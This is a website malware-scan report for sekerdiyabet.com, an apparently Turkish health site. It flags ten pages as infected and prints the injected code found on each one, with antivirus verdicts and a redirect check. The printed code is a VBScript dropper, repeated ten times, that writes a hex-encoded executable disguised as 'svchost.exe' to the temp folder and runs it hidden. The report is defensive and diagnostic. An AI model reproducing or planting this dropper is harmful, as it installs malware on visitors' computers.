New scan:

Malware Scanner report for sekerdiyabet.com

Malicious/Suspicious/Total urls checked
10/0/15
10 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "sekerdiyabet.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=sekerdiyabet.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://sekerdiyabet.com/
200 OK
Content-Length: 300584
Content-Type: text/html
clean
http://sekerdiyabet.com/mail.asp
404 Not Found
Content-Length: 1135
Content-Type: text/html
clean
http://sekerdiyabet.com/test404page.js
404 Not Found
Content-Length: 1135
Content-Type: text/html
clean
http://sekerdiyabet.com/sifalibitkiler1.html
200 OK
Content-Length: 300585
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

<!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005258767C1639182F1639182F1639182FD536452F1B39182F1639192F5F39182F31FF6A2F1739182F31FF642F1739182F31FF602F1739182F526963681639182F00000000000000000000000000000000504500004C01050086A8494D
... 3078 bytes are skipped ...
320F4903320F4903320F4903320F4903320"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//-->

Antivirus reports:

Avast
VBS:Agent-KZ [Trj]
Panda
W32/Cosmu.A
nProtect
Trojan.Dropper.VBS.Q
K7AntiVirus
Trojan
Emsisoft
Trojan.Dropper.VBS.Q (B)
Comodo
TrojWare.VBS.TrojanDropper.Agent.amh
DrWeb
VBS.Rmnet.2
Kaspersky
Trojan-Dropper.VBS.Agent.bp
ViRobot
VBS.Dropper.B
Microsoft
Virus:VBS/Ramnit.B
MicroWorld-eScan
Trojan.Dropper.VBS.Q
Fortinet
VBS/Dropper.DL!tr
Jiangmin
Trojan/Script.Gen
NANO-Antivirus
Trojan.Script.Agent.bfcghy
eSafe
VBS.Inor.u
F-Prot
VBS/Inor.DZ
AVG
VBS/Heur
Norman
Ramnit.D
GData
Trojan.Dropper.VBS.Q
Commtouch
VBS/Inor.DZ
ESET-NOD32
Win32/Ramnit.A
BitDefender
Trojan.Dropper.VBS.Q

http://sekerdiyabet.com/iletisim.php
200 OK
Content-Length: 8757
Content-Type: text/html
clean
http://sekerdiyabet.com/sifalibitkiler2.html
200 OK
Content-Length: 273032
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

<!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005258767C1639182F1639182F1639182FD536452F1B39182F1639192F5F39182F31FF6A2F1739182F31FF642F1739182F31FF602F1739182F526963681639182F00000000000000000000000000000000504500004C01050086A8494D
... 3078 bytes are skipped ...
320F4903320F4903320F4903320F4903320"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//-->

Antivirus reports:

Avast
VBS:Agent-KZ [Trj]
Panda
W32/Cosmu.A
nProtect
Trojan.Dropper.VBS.Q
K7AntiVirus
Trojan
Emsisoft
Trojan.Dropper.VBS.Q (B)
Comodo
TrojWare.VBS.TrojanDropper.Agent.amh
DrWeb
VBS.Rmnet.2
Kaspersky
Trojan-Dropper.VBS.Agent.bp
ViRobot
VBS.Dropper.B
Microsoft
Virus:VBS/Ramnit.B
MicroWorld-eScan
Trojan.Dropper.VBS.Q
Fortinet
VBS/Dropper.DL!tr
Jiangmin
Trojan/Script.Gen
NANO-Antivirus
Trojan.Script.Agent.bfcghy
eSafe
VBS.Inor.u
F-Prot
VBS/Inor.DZ
AVG
VBS/Heur
Norman
Ramnit.D
GData
Trojan.Dropper.VBS.Q
Commtouch
VBS/Inor.DZ
ESET-NOD32
Win32/Ramnit.A
BitDefender
Trojan.Dropper.VBS.Q

http://sekerdiyabet.com/sifalibitkiler3.html
200 OK
Content-Length: 266389
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

<!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005258767C1639182F1639182F1639182FD536452F1B39182F1639192F5F39182F31FF6A2F1739182F31FF642F1739182F31FF602F1739182F526963681639182F00000000000000000000000000000000504500004C01050086A8494D
... 3078 bytes are skipped ...
320F4903320F4903320F4903320F4903320"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//-->

Antivirus reports:

Avast
VBS:Agent-KZ [Trj]
Panda
W32/Cosmu.A
nProtect
Trojan.Dropper.VBS.Q
K7AntiVirus
Trojan
Emsisoft
Trojan.Dropper.VBS.Q (B)
Comodo
TrojWare.VBS.TrojanDropper.Agent.amh
DrWeb
VBS.Rmnet.2
Kaspersky
Trojan-Dropper.VBS.Agent.bp
ViRobot
VBS.Dropper.B
Microsoft
Virus:VBS/Ramnit.B
MicroWorld-eScan
Trojan.Dropper.VBS.Q
Fortinet
VBS/Dropper.DL!tr
Jiangmin
Trojan/Script.Gen
NANO-Antivirus
Trojan.Script.Agent.bfcghy
eSafe
VBS.Inor.u
F-Prot
VBS/Inor.DZ
AVG
VBS/Heur
Norman
Ramnit.D
GData
Trojan.Dropper.VBS.Q
Commtouch
VBS/Inor.DZ
ESET-NOD32
Win32/Ramnit.A
BitDefender
Trojan.Dropper.VBS.Q

http://sekerdiyabet.com/sifalibitkiler4.html
200 OK
Content-Length: 267309
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

<!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005258767C1639182F1639182F1639182FD536452F1B39182F1639192F5F39182F31FF6A2F1739182F31FF642F1739182F31FF602F1739182F526963681639182F00000000000000000000000000000000504500004C01050086A8494D
... 3078 bytes are skipped ...
320F4903320F4903320F4903320F4903320"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//-->

Antivirus reports:

Avast
VBS:Agent-KZ [Trj]
Panda
W32/Cosmu.A
nProtect
Trojan.Dropper.VBS.Q
K7AntiVirus
Trojan
Emsisoft
Trojan.Dropper.VBS.Q (B)
Comodo
TrojWare.VBS.TrojanDropper.Agent.amh
DrWeb
VBS.Rmnet.2
Kaspersky
Trojan-Dropper.VBS.Agent.bp
ViRobot
VBS.Dropper.B
Microsoft
Virus:VBS/Ramnit.B
MicroWorld-eScan
Trojan.Dropper.VBS.Q
Fortinet
VBS/Dropper.DL!tr
Jiangmin
Trojan/Script.Gen
NANO-Antivirus
Trojan.Script.Agent.bfcghy
eSafe
VBS.Inor.u
F-Prot
VBS/Inor.DZ
AVG
VBS/Heur
Norman
Ramnit.D
GData
Trojan.Dropper.VBS.Q
Commtouch
VBS/Inor.DZ
ESET-NOD32
Win32/Ramnit.A
BitDefender
Trojan.Dropper.VBS.Q

http://sekerdiyabet.com/sifalibitkiler8.html
200 OK
Content-Length: 300585
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

<!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005258767C1639182F1639182F1639182FD536452F1B39182F1639192F5F39182F31FF6A2F1739182F31FF642F1739182F31FF602F1739182F526963681639182F00000000000000000000000000000000504500004C01050086A8494D
... 3078 bytes are skipped ...
320F4903320F4903320F4903320F4903320"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//-->

Antivirus reports:

Avast
VBS:Agent-KZ [Trj]
Panda
W32/Cosmu.A
nProtect
Trojan.Dropper.VBS.Q
K7AntiVirus
Trojan
Emsisoft
Trojan.Dropper.VBS.Q (B)
Comodo
TrojWare.VBS.TrojanDropper.Agent.amh
DrWeb
VBS.Rmnet.2
Kaspersky
Trojan-Dropper.VBS.Agent.bp
ViRobot
VBS.Dropper.B
Microsoft
Virus:VBS/Ramnit.B
MicroWorld-eScan
Trojan.Dropper.VBS.Q
Fortinet
VBS/Dropper.DL!tr
Jiangmin
Trojan/Script.Gen
NANO-Antivirus
Trojan.Script.Agent.bfcghy
eSafe
VBS.Inor.u
F-Prot
VBS/Inor.DZ
AVG
VBS/Heur
Norman
Ramnit.D
GData
Trojan.Dropper.VBS.Q
Commtouch
VBS/Inor.DZ
ESET-NOD32
Win32/Ramnit.A
BitDefender
Trojan.Dropper.VBS.Q

http://sekerdiyabet.com/sifalibitkiler9.html
200 OK
Content-Length: 249887
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

<!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005258767C1639182F1639182F1639182FD536452F1B39182F1639192F5F39182F31FF6A2F1739182F31FF642F1739182F31FF602F1739182F526963681639182F00000000000000000000000000000000504500004C01050086A8494D
... 3078 bytes are skipped ...
320F4903320F4903320F4903320F4903320"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//-->

Antivirus reports:

Avast
VBS:Agent-KZ [Trj]
Panda
W32/Cosmu.A
nProtect
Trojan.Dropper.VBS.Q
K7AntiVirus
Trojan
Emsisoft
Trojan.Dropper.VBS.Q (B)
Comodo
TrojWare.VBS.TrojanDropper.Agent.amh
DrWeb
VBS.Rmnet.2
Kaspersky
Trojan-Dropper.VBS.Agent.bp
ViRobot
VBS.Dropper.B
Microsoft
Virus:VBS/Ramnit.B
MicroWorld-eScan
Trojan.Dropper.VBS.Q
Fortinet
VBS/Dropper.DL!tr
Jiangmin
Trojan/Script.Gen
NANO-Antivirus
Trojan.Script.Agent.bfcghy
eSafe
VBS.Inor.u
F-Prot
VBS/Inor.DZ
AVG
VBS/Heur
Norman
Ramnit.D
GData
Trojan.Dropper.VBS.Q
Commtouch
VBS/Inor.DZ
ESET-NOD32
Win32/Ramnit.A
BitDefender
Trojan.Dropper.VBS.Q

http://sekerdiyabet.com/sifalibitkiler10.html
200 OK
Content-Length: 262783
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

<!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005258767C1639182F1639182F1639182FD536452F1B39182F1639192F5F39182F31FF6A2F1739182F31FF642F1739182F31FF602F1739182F526963681639182F00000000000000000000000000000000504500004C01050086A8494D
... 3078 bytes are skipped ...
320F4903320F4903320F4903320F4903320"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//-->

Antivirus reports:

Avast
VBS:Agent-KZ [Trj]
Panda
W32/Cosmu.A
nProtect
Trojan.Dropper.VBS.Q
K7AntiVirus
Trojan
Emsisoft
Trojan.Dropper.VBS.Q (B)
Comodo
TrojWare.VBS.TrojanDropper.Agent.amh
DrWeb
VBS.Rmnet.2
Kaspersky
Trojan-Dropper.VBS.Agent.bp
ViRobot
VBS.Dropper.B
Microsoft
Virus:VBS/Ramnit.B
MicroWorld-eScan
Trojan.Dropper.VBS.Q
Fortinet
VBS/Dropper.DL!tr
Jiangmin
Trojan/Script.Gen
NANO-Antivirus
Trojan.Script.Agent.bfcghy
eSafe
VBS.Inor.u
F-Prot
VBS/Inor.DZ
AVG
VBS/Heur
Norman
Ramnit.D
GData
Trojan.Dropper.VBS.Q
Commtouch
VBS/Inor.DZ
ESET-NOD32
Win32/Ramnit.A
BitDefender
Trojan.Dropper.VBS.Q

http://sekerdiyabet.com/sifalibitkiler12.html
200 OK
Content-Length: 278433
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

<!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005258767C1639182F1639182F1639182FD536452F1B39182F1639192F5F39182F31FF6A2F1739182F31FF642F1739182F31FF602F1739182F526963681639182F00000000000000000000000000000000504500004C01050086A8494D
... 3078 bytes are skipped ...
320F4903320F4903320F4903320F4903320"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//-->

Antivirus reports:

Avast
VBS:Agent-KZ [Trj]
Panda
W32/Cosmu.A
nProtect
Trojan.Dropper.VBS.Q
K7AntiVirus
Trojan
Emsisoft
Trojan.Dropper.VBS.Q (B)
Comodo
TrojWare.VBS.TrojanDropper.Agent.amh
DrWeb
VBS.Rmnet.2
Kaspersky
Trojan-Dropper.VBS.Agent.bp
ViRobot
VBS.Dropper.B
Microsoft
Virus:VBS/Ramnit.B
MicroWorld-eScan
Trojan.Dropper.VBS.Q
Fortinet
VBS/Dropper.DL!tr
Jiangmin
Trojan/Script.Gen
NANO-Antivirus
Trojan.Script.Agent.bfcghy
eSafe
VBS.Inor.u
F-Prot
VBS/Inor.DZ
AVG
VBS/Heur
Norman
Ramnit.D
GData
Trojan.Dropper.VBS.Q
Commtouch
VBS/Inor.DZ
ESET-NOD32
Win32/Ramnit.A
BitDefender
Trojan.Dropper.VBS.Q

http://sekerdiyabet.com/file:///C:/Program%20Files/Microsoft%20Office/Office10/fpclass/animate.js
404 Not Found
Content-Length: 1135
Content-Type: text/html
clean
http://sekerdiyabet.com/sifalibitkiler11.html
200 OK
Content-Length: 250769
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

<!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005258767C1639182F1639182F1639182FD536452F1B39182F1639192F5F39182F31FF6A2F1739182F31FF642F1739182F31FF602F1739182F526963681639182F00000000000000000000000000000000504500004C01050086A8494D
... 3078 bytes are skipped ...
320F4903320F4903320F4903320F4903320"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//-->

Antivirus reports:

Avast
VBS:Agent-KZ [Trj]
Panda
W32/Cosmu.A
nProtect
Trojan.Dropper.VBS.Q
K7AntiVirus
Trojan
Emsisoft
Trojan.Dropper.VBS.Q (B)
Comodo
TrojWare.VBS.TrojanDropper.Agent.amh
DrWeb
VBS.Rmnet.2
Kaspersky
Trojan-Dropper.VBS.Agent.bp
ViRobot
VBS.Dropper.B
Microsoft
Virus:VBS/Ramnit.B
MicroWorld-eScan
Trojan.Dropper.VBS.Q
Fortinet
VBS/Dropper.DL!tr
Jiangmin
Trojan/Script.Gen
NANO-Antivirus
Trojan.Script.Agent.bfcghy
eSafe
VBS.Inor.u
F-Prot
VBS/Inor.DZ
AVG
VBS/Heur
Norman
Ramnit.D
GData
Trojan.Dropper.VBS.Q
Commtouch
VBS/Inor.DZ
ESET-NOD32
Win32/Ramnit.A
BitDefender
Trojan.Dropper.VBS.Q

http://sekerdiyabet.com/kanser.html
200 OK
Content-Length: 297344
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

<!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000005258767C1639182F1639182F1639182FD536452F1B39182F1639192F5F39182F31FF6A2F1739182F31FF642F1739182F31FF602F1739182F526963681639182F00000000000000000000000000000000504500004C01050086A8494D
... 3078 bytes are skipped ...
320F4903320F4903320F4903320F4903320"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//-->

Antivirus reports:

Avast
VBS:Agent-KZ [Trj]
Panda
W32/Cosmu.A
nProtect
Trojan.Dropper.VBS.Q
K7AntiVirus
Trojan
Emsisoft
Trojan.Dropper.VBS.Q (B)
Comodo
TrojWare.VBS.TrojanDropper.Agent.amh
DrWeb
VBS.Rmnet.2
Kaspersky
Trojan-Dropper.VBS.Agent.bp
ViRobot
VBS.Dropper.B
Microsoft
Virus:VBS/Ramnit.B
MicroWorld-eScan
Trojan.Dropper.VBS.Q
Fortinet
VBS/Dropper.DL!tr
Jiangmin
Trojan/Script.Gen
NANO-Antivirus
Trojan.Script.Agent.bfcghy
eSafe
VBS.Inor.u
F-Prot
VBS/Inor.DZ
AVG
VBS/Heur
Norman
Ramnit.D
GData
Trojan.Dropper.VBS.Q
Commtouch
VBS/Inor.DZ
ESET-NOD32
Win32/Ramnit.A
BitDefender
Trojan.Dropper.VBS.Q


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: sekerdiyabet.com

Result:
HTTP/1.1 200 OK
Date: Mon, 29 Sep 2014 20:50:27 GMT
Accept-Ranges: bytes
ETag: "0402f676156cf1:0"
Server: Microsoft-IIS/7.5
Content-Length: 1372029
Content-Type: text/html
Last-Modified: Sat, 12 Apr 2014 15:10:56 GMT
X-Powered-By: ASP.NET
X-Powered-By-Plesk: PleskWin

...1372029 bytes of data.
Second query (visit from search engine):
GET / HTTP/1.1
Host: sekerdiyabet.com
Referer: http://www.google.com/search?q=sekerdiyabet.com

Result:
The result is similar to the first query. There are no suspicious redirects found.